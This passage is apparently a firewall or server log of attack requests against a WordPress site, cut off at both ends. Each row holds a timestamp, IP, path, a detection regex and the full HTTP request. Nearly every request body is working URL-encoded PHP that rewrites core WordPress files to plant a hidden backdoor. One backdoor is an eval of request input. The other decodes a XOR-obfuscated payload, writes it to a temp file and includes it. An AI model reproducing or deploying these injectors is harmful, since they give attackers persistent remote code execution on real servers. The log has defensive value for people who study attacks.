%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEJjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:2069\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-dest:document\n\nEl=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-user-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527leclWG%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:43:38","103.136.211.220","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Kc:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-user-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527leclWG%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-length:2069\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF2ZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\n\nKc=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-user-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527leclWG%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:43:41","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-user-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527leclWG%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:2092\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-fetch-site:none\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-dest:document\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-user-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527leclWG%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 13:43:54","54.36.177.228","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ql:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-list-table-compat.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522sy%255Cx6D%2522%2529%2529%257B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_POST%255B%2522sy%255Cx6D%2522%255D%2529%253B%2520%2524resource%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524pset%2529%2520as%2520%2524char%2529%257B%2524resource%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252011%2529%253B%257D%2520%2524descriptor%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524hld%2520%253D%2520array_shift%2528%2524descriptor%2529%2529%2520%257B%2520if%2520%2528%2521%2521is_dir%2528%2524hld%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524hld%2529%2529%2520%257B%2520%2524marker%2520%253D%2520%2522%2524hld%2522%2520.%2520%2522\/.bind%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524marker%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524marker%253B%2520unlink%2528%2524marker%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:3686\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHJjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nsec-fetch-dest:document\n\nQl=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-list-table-compat.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522sy%255Cx6D%2522%2529%2529%257B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_POST%255B%2522sy%255Cx6D%2522%255D%2529%253B%2520%2524resource%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524pset%2529%2520as%2520%2524char%2529%257B%2524resource%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252011%2529%253B%257D%2520%2524descriptor%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524hld%2520%253D%2520array_shift%2528%2524descriptor%2529%2529%2520%257B%2520if%2520%2528%2521%2521is_dir%2528%2524hld%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524hld%2529%2529%2520%257B%2520%2524marker%2520%253D%2520%2522%2524hld%2522%2520.%2520%2522\/.bind%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524marker%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524marker%253B%2520unlink%2528%2524marker%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:43:58","107.155.87.193","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> dl:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-list-table-compat.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522sy%255Cx6D%2522%2529%2529%257B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_POST%255B%2522sy%255Cx6D%2522%255D%2529%253B%2520%2524resource%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524pset%2529%2520as%2520%2524char%2529%257B%2524resource%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252011%2529%253B%257D%2520%2524descriptor%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524hld%2520%253D%2520array_shift%2528%2524descriptor%2529%2529%2520%257B%2520if%2520%2528%2521%2521is_dir%2528%2524hld%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524hld%2529%2529%2520%257B%2520%2524marker%2520%253D%2520%2522%2524hld%2522%2520.%2520%2522\/.bind%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524marker%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524marker%253B%2520unlink%2528%2524marker%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMTjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:3686\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-dest:document\n\ndl=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-list-table-compat.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522sy%255Cx6D%2522%2529%2529%257B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_POST%255B%2522sy%255Cx6D%2522%255D%2529%253B%2520%2524resource%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524pset%2529%2520as%2520%2524char%2529%257B%2524resource%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252011%2529%253B%257D%2520%2524descriptor%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524hld%2520%253D%2520array_shift%2528%2524descriptor%2529%2529%2520%257B%2520if%2520%2528%2521%2521is_dir%2528%2524hld%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524hld%2529%2529%2520%257B%2520%2524marker%2520%253D%2520%2522%2524hld%2522%2520.%2520%2522\/.bind%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524marker%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524marker%253B%2520unlink%2528%2524marker%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3